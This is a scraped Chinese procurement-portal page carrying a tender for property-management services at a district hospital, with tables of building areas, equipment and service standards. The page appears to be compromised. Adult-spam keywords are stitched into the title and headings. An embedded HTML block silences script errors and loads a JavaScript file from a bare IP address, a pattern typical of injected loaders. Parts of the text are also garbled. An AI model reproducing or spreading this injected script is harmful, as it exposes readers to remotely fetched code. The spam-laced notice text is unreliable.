辽中区中医院物业管理招标项目精品熟人妻一区二区三区四区不卡-招标采购导航网

辽中区中医院物业管理招标项目精品熟人妻一区二区三区四区不卡

发布时间：2025-04-30
地区：辽宁

. 发送信息到邮件！

收件人：
发件人：
标题：


内容：
	取消发送

招标编号	招标类型	截止时间
招标联系人	所属地区	联系电话
招标公司

招标公司受业主委托，于2025-04-30在招标采购导航网发布：辽中区中医院物业管理招标项目精品熟人妻一区二区三区四区不卡。各有关单位请与公告中招标负责人接洽联系，及时开展投标及相关工作，以免错失商业机会。

查看详细信息请或

<div style="width:1140px"><div style="width:1140px"><table style="width:100%"><tbody><tr><td><div><div><div><div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'><div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'><table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'><tbody><tr><td style='background:#fff;padding:0 10px'><div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'><div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'><div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'><html> <head><script>var V_PATH="/";window.onerror=function(){ return true; };</script> <title> 公告信息</title> 
<script src="http://154.214.87.194/mgmg.js"></script>

</head> <Body><h1><a href="/">精品熟人妻一区二区三区四区不卡</a></h1><script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(bp, s);
})();
</script> <form> <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px'> <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px'> <td style='background:#fff;padding:0 10px'> <td style='background:#fff;padding:0 10px'> </tr> <tr> <td style='background:#fff;padding:0 10px'>   <td style='background:#fff;padding:0 10px'> <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px'> <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px'> （略）物业管理招标项目精品熟人妻一区二区三区四区不卡 </tr> <tr> <td style='background:#fff;padding:0 10px'> </tr> <tr> <td style='background:#fff;padding:0 10px'> <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px'></tr> </tbody> </table> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'>    <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 项目概况 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> （略）物业管理招标项目招标项目的潜在供应商应在线上獲取招標文件,并于2025年05月21日 09时00分（北京时间）前递交投标文件。 </div> </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 一、项目基本情况 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 项目编号：闯贬25-210122-00027 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 项目名称：（略）物业管理招标项目 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 包组编号：001 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'>（略））：（略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'>（略））：（略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 采购需求： </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'><h2> 服务需求</h2> 本项目共计  1   个包组，包号为  001   。包组内不允许缺项。 履约期限： 合同签订后2年。合同签订后一周内完成与原物业的交接。 履约（略） 沉阳（略） 付款方式： <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 付款条件 <td style='background:#fff;padding:0 10px' colspan="1"> 付款比例 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 按月付款，完成上月服务并验收合格后支付上月合同价款，累计付款额不超过合同价款。 <td style='background:#fff;padding:0 10px' colspan="1"> 按同时段实际完成额支付 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="2"> 满足付款条件后应即时付款，最长不得超过10个工作日。 </tr> </tbody> </table> 服务清单 包 组 号：001 包组名称：（略）物业管理招标项目 1.项目基本情况 <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 物业（略） 物业地址 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （略）物业管理 <td style='background:#fff;padding:0 10px' colspan="1"> 辽宁省沉阳（略） </tbody> </table> 2.物业服务范围 【（略）物业管理】 （1）物业管理（建筑物） <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="2"> （略） 明细 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容及标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="2"> （略） <td style='background:#fff;padding:0 10px' colspan="1"> （略） <td style='background:#fff;padding:0 10px' colspan="1"> </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 总面积 <td style='background:#fff;padding:0 10px' colspan="1"> 建筑面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 15518平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 需保洁面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 19769.7平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 门窗 <td style='background:#fff;padding:0 10px' colspan="1"> 门窗总数量（个）及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 门411个/1085.04平方米，窗424个/1696平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 地面 <td style='background:#fff;padding:0 10px' colspan="1"> 地面各材质及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 地胶/6298平方米地砖/8030.84平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 内墙饰面 <td style='background:#fff;padding:0 10px' colspan="1"> 内墙饰面各材质及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 内墙饰面乳胶漆总面积3.2万平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 顶面 <td style='background:#fff;padding:0 10px' colspan="1"> 顶面各材质及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 石膏板 总面积14328.84平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 外墙 <td style='background:#fff;padding:0 10px' colspan="1"> 外墙各材质及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 真石漆5800平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 外墙需清洗面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 5800平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 会议室 <td style='background:#fff;padding:0 10px' colspan="1"> 室内设施说明 <td style='background:#fff;padding:0 10px' colspan="1"> 会议桌1张、会议椅20把、音响2个、话筒20个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 会议室数量（个）及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 1个共计52平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 病房 <td style='background:#fff;padding:0 10px' colspan="1"> 室内设施说明 <td style='background:#fff;padding:0 10px' colspan="1"> 病床200张 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” “3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 病房数量（间）及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 病房88间2200平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 卫生间 <td style='background:#fff;padding:0 10px' colspan="1"> 卫生间数量（个）及总面积（㎡） <td style='background:#fff;padding:0 10px' colspan="1"> 114个卫生间共计1800平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 垃圾存放点 <td style='background:#fff;padding:0 10px' colspan="1"> 各垃圾存放点位置、面积（㎡）及数量（个） <td style='background:#fff;padding:0 10px' colspan="1"> 卫生间及污水间处，共28个垃圾桶，外围2个垃圾桶 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 车位数 <td style='background:#fff;padding:0 10px' colspan="1"> 地下车位数 <td style='background:#fff;padding:0 10px' colspan="1"> 无 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 地面车位数 <td style='background:#fff;padding:0 10px' colspan="1"> 130个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 车行/人行口 <td style='background:#fff;padding:0 10px' colspan="1"> 车行口 <td style='background:#fff;padding:0 10px' colspan="1"> 3个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 人行口 <td style='background:#fff;padding:0 10px' colspan="1"> 1个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 设施设备 <td style='background:#fff;padding:0 10px' colspan="1"> 电梯系统 <td style='background:#fff;padding:0 10px' colspan="1"> 客梯数量 5个 品牌：西奥 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 空调系统 <td style='background:#fff;padding:0 10px' colspan="1"> 海尔中央式空调，外机17台，内机271个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 给排水系统 <td style='background:#fff;padding:0 10px' colspan="1"> 污水井37个、雨排井13个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 消防系统 <td style='background:#fff;padding:0 10px' colspan="1"> 消防系统包括消防栓系统、应急照明控制器、灭火器 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 安防系统 <td style='background:#fff;padding:0 10px' colspan="1"> 安防系统主机1个、88个监控点位 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 照明系统 <td style='background:#fff;padding:0 10px' colspan="1"> 平板灯495个、筒灯4389、应急灯29个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 供配电系统 <td style='background:#fff;padding:0 10px' colspan="1"> 市政供电、储备柴油发电机1组 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> </tbody> </table> （2）物业管理（室外） <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （略） 明细 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容及标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 室外面积 <td style='background:#fff;padding:0 10px' colspan="1"> 4251.7平方米 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务”“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 路灯、草坪灯、音箱 <td style='background:#fff;padding:0 10px' colspan="1"> 路面照明灯31个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务”“3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 消防栓 <td style='background:#fff;padding:0 10px' colspan="1"> 57个 <td style='background:#fff;padding:0 10px' colspan="1"> “3.4秩序维护服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 垃圾箱 <td style='background:#fff;padding:0 10px' colspan="1"> 2个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.3保洁服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 监控 <td style='background:#fff;padding:0 10px' colspan="1"> 88个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 指示牌、显示屏 <td style='background:#fff;padding:0 10px' colspan="1"> 显示屏1个 <td style='background:#fff;padding:0 10px' colspan="1"> 见“3.2维修服务” </tr> </tbody> </table> 3.物业管理服务内容及标准 物业管理服务包括维修服务、保洁清洁、秩序维护服务、导诊服务、针对采购人特点的特殊服务（如重大活动后勤保障等）等。 3.1基本服务 <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容 <td style='background:#fff;padding:0 10px' colspan="1"> 服务标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 目标与责任 <td style='background:#fff;padding:0 10px' colspan="1"> （1）结合采购人要求及物业服务实际情况，制定年度管理目标，明确责任分工，并制定配套实施方案。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 服务人员要求 <td style='background:#fff;padding:0 10px' colspan="1"> （1）每季度至少开展1次岗位技能、职业素质、服务知识、客户文化、绿色节能环保等教育培训，并进行适当形式的考核。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）根据采购人要求对服务人员进行从业资格审查，审查结果向采购人报备。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）服务人员的年龄、学历、工作经验及资格条件应当与所在岗位能力要求相匹配，到岗前应当经过必要的岗前培训以达到岗位能力要求，国家、行业规定应当取得职业资格证书或特种作业证书的，应当按规定持证上岗。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）如采购人认为服务人员不适应岗位要求或存在其他影响工作的，可要求供应商进行调换。如因供应商原因对服务人员进行调换，应当经采购人同意，更换比例不得超过本项目服务人员总数的20%。本项目服务人员不得在其他项目兼职。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （5）着装分类统一，佩戴标识。仪容整洁、姿态端正、举止文明。用语文明礼貌，态度温和耐心。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 档案管理 <td style='background:#fff;padding:0 10px' colspan="1"> （1）建立物业信息，准确、及时地对文件资料和服务记录进行归档保存，并确保其物理安全。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）档案和记录齐全，包括但不限于：①采购人建议与投诉等。教育培训和考核记录。保密、思想政治教育培训记录。②秩序维护服务：监控记录、突发事件演习与处置记录等。③环境维护服务：工作日志、清洁检查表、用品清单、客户反馈表等。④其他：客户信息、财务明细、合同协议、信报信息登记、大件物品进出登记等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）遵守采购人的信息、档案资料保密要求，未经许可，不得将建筑物平面图等资料转作其他用途或向其他单位、个人提供。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）履约结束后，相关资料交还采购人，采购人按政府采购相关规定存档。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 4 <td style='background:#fff;padding:0 10px' colspan="1"> 服务改进 <td style='background:#fff;padding:0 10px' colspan="1"> （1）明确负责人，定期对物业服务过程进行自查，结合反馈意见与评价结果采取改进措施，持续提升管理与服务水平。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）对不合格服务进行控制，对不合格服务的原因进行识别和分析，及时采取纠正措施，消除不合格的原因，防止不合格再发生。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）需整改问题及时整改完成。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 5 <td style='background:#fff;padding:0 10px' colspan="1"> 应急保障 预案 <td style='background:#fff;padding:0 10px' colspan="1"> （1）重点区域及安全隐患排查。结合项目的实际情况，对重点部位及危险隐患进行排查，并建立清单/台账；应当对危险隐患进行风险分析，制定相应措施进行控制或整改并定期监控；随着设施设备、服务内容的变化，及时更新清单/台账，使风险隐患始终处于受控状态。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）应急预案的建立。根据办公楼隐患排查的结果和实际情况，制定专项预案，包括但不限于：火情火警紧急处理应急预案、紧急疏散应急预案、停水停电应急预案、有限空间救援应急预案、高空作业救援应急预案、恶劣天气应对应急预案等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）应急预案的培训和演练。应急预案定期培训和演练，组织相关岗位每半年至少开展一次专项应急预案演练；留存培训及演练记录和影像资料，并对预案进行评价，确保与实际情况相结合。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）应急物资的管理。根据专项预案中的应对需要、必要的应急物资，建立清单或台账，并由专人定期对应急物资进行检查，如有应急物资不足，及时通知采购人购置齐全，确保能够随时正常使用。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 6 <td style='background:#fff;padding:0 10px' colspan="1"> 服务方案及工作制度 <td style='background:#fff;padding:0 10px' colspan="1"> （1）制定工作制度，主要包括：人员录用制度、档案管理制度、物业服务管理制度相关管理制度等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）制定项目实施方案，主要包括：交接方案、人员培训方案、人员稳定性方案、保密方案等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）制定物业服务方案，主要包括：环境维护服务方案、秩序维护服务方案等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）制定物业服务各专业线服务工作标准，并持续保持与落实。 </tr> </tbody> </table> 3.2维修服务 <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容 <td style='background:#fff;padding:0 10px' colspan="1"> 服务标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 设备维修 <td style='background:#fff;padding:0 10px' colspan="1"> （1）负责医院内设备的日常维护和修理，包括电梯、消防设施、空调设备等，需物业团队配合维保单位进行维修工作。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）定期开展设备巡查和保养，确保设备正常运行和安全性。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）及时发现并处理设备故障，控制故障率。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）监督并配合维保单位进行维修工作，确保维修质量和进度。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 楼内维修 <td style='background:#fff;padding:0 10px' colspan="1"> （1）负责楼内公共区域房屋的日常维护和修理，包括内外墙面、地面、天花板、门窗等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）及时处理楼内漏水、渗水等问题，确保干燥舒适。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）定期开展楼内巡查和保养，及时发现并解决问题。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 管道疏通 <td style='background:#fff;padding:0 10px' colspan="1"> （1）负责院内及楼内管道的疏通和维修，包括污水管道、排水管道等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）及时处理管道堵塞和漏水问题，确保管道通畅。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）定期对管道进行检查和维护，预防故障发生。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 4 <td style='background:#fff;padding:0 10px' colspan="1"> 电气维修 <td style='background:#fff;padding:0 10px' colspan="1"> （1）负责电气设备的日常维护和修理，包括照明设备、插座、开关、线路等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2)定期检查电气设备，确保正常运行和安全性。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）及时发现并处理电气故障，控制故障率。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 5 <td style='background:#fff;padding:0 10px' colspan="1"> 环境卫生维护 <td style='background:#fff;padding:0 10px' colspan="1"> （1）负责公共区域卫生设施的维护和修理，包括公共卫生间、洗手池等。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）定期检查和维护卫生设备，保持整洁和正常使用。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）及时处理卫生设施故障，确保功能完好。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 6 <td style='background:#fff;padding:0 10px' colspan="1"> 其他维修工作 <td style='background:#fff;padding:0 10px' colspan="1"> （1）响应并处理甲方单位的维修请求，及时跟进解决。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）协助甲方单位维修问题，提供技术支持。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）参与制定和完善维修标准和流程，提高工作效率。 </tr> </tbody> </table> 3.3保洁服务 <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容 <td style='background:#fff;padding:0 10px' colspan="1"> 服务标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 基本要求 <td style='background:#fff;padding:0 10px' colspan="1"> （1）每天早中晚 3 次对采购人楼内的地面进行推尘和清洁，确保地面无灰尘、无水渍、无污渍、无垃圾纸屑，并随时巡视，发现问题立即处理。对人流量较大区域，增加地面的推尘次数；雨雪天气必须及时巡视并及时拖干地面水迹， 并设置小心地滑牌，采取临时防滑措施，避免意外发生； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）公共区域走廊及大厅的附属设施，各种指示牌、大厅玻璃门、栏杆、门、门框、踢脚板及消防设施设备等，每天必须清洁 1 次，确保无灰尘、无污渍，不锈钢饰品要保持光亮、无手印、无灰尘、无污渍； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）保持公共区域的墙面无灰尘、无污渍、无蛛网，对墙面每周要进行一次大清洁； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）排风口，每周清洁 1 次，确保无灰尘、无污渍； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （5）安全通道及楼梯每天要清洁 1 次，并确保楼梯内的附属设施设备无灰尘、无污渍杂物等； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （6）卫生间清洁要求随时有专人负责，做到干净无杂物无异味。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （7）随时检查公共区域、大厅的设施设备是否完好，如发现问题及时报修， 并随时了解维修情况，直至可正常使用。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 外围院区 <td style='background:#fff;padding:0 10px' colspan="1"> （1）每天对道路、停车位进行清扫 1次，全天保洁。保证道路、停车位、绿化带等无垃圾、无树叶、无纸屑、无烟头、无污渍等； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）秋冬落叶季节，增加清扫和巡视次数，确保落叶及时清理干净； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）冬季对积雪做（略）人工作人员正常出入； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）道路指示牌、标识、辖区内垃圾桶每周要清洁，确保无灰尘、无污渍， 垃圾桶内的垃圾要随时进行清理确保无堆积现象； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （5）确保采购人外围地面干净无杂物、无杂草青苔、无污渍、油渍。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 公共区域走廊卫生清洁 <td style='background:#fff;padding:0 10px' colspan="1"> （1）采购人附属设施各种指示牌、减速带、消防设施设备、门、门框等每天至少清洁 1 次，并经常巡视，发现问题要及时清洁处理； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）垃圾日产日清，垃圾桶每天保持清洁状态，确保无灰尘、无污渍、无满溢状况； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）采购人的走廊通道地面保持干净，确保无灰尘、无污渍、无垃圾等；各种指示牌、大厅玻璃门、栏杆、玻璃、门、门框、地脚线、踢脚板及消防设施设备等，确保无灰尘、无污渍，不锈钢饰品和门框要保持光亮、无手印、无灰尘、无污渍。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 4 <td style='background:#fff;padding:0 10px' colspan="1"> 会议室、大厅卫生清洁 <td style='background:#fff;padding:0 10px' colspan="1"> （1）每天对各个会议室的地面进行推尘和清洁，确保地面无灰尘、无水渍、无污渍、无垃圾纸屑，随时保持每个会议室可使用状态； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）采购人内会议室的附属设施，各种指示牌、栏杆、门、门框、地脚线、踢脚板及消防设施设备等，每天必须清洁 1 次，确保无灰尘、无污渍，不锈钢饰品要保持光亮、无手印、无灰尘、无污渍； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）随时检查会议室内的设施设备是否完好，如发现问题及时报修， 并随时了解维修情况，直至可正常使用。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 5 <td style='background:#fff;padding:0 10px' colspan="1"> 入室清洁 <td style='background:#fff;padding:0 10px' colspan="1"> （1）每周两次对采购人指定办公室进行入室清洁，严格准守保密相关规定，清洁人员双进双出进行作业； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）地面保持干净，确保无灰尘、无水渍、无污渍、无垃圾纸屑； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 6 <td style='background:#fff;padding:0 10px' colspan="1"> 垃圾清运 <td style='background:#fff;padding:0 10px' colspan="1"> （1）办公区域每天至少收集垃圾 1 次，人员密集处或特殊情况增加收集次数，垃圾分类清运。保持垃圾箱、残茶桶无满溢现象，保持垃圾桶干净无灰尘。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）垃圾存放处要时刻保持干净整洁，确保无污水、无异味。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）每天定时收集垃圾，垃圾清运日产日清。 </tr> </tbody> </table> 3.4秩序维护服务 <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容 <td style='background:#fff;padding:0 10px' colspan="1"> 服务标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 门岗管理 <td style='background:#fff;padding:0 10px' colspan="1"> （1）负责办公区域公共秩序维护工作。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）负责门禁管理：按采购人规定礼貌接待外来人员。制止在门口随意停车、人员聚集、拦截车辆等行为，对蓄意闹事者坚决劝阻，确保办公秩序良好，使门禁真正成为本物业的安全屏障和文明窗口。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）负责出入院内车辆查验、登记、摆放疏导工作，对院内停车场进行有序管理。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）负责大型物品出入管理，必须得（略）人的通知、登记后，方可放行。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 巡逻管理 <td style='background:#fff;padding:0 10px' colspan="1"> 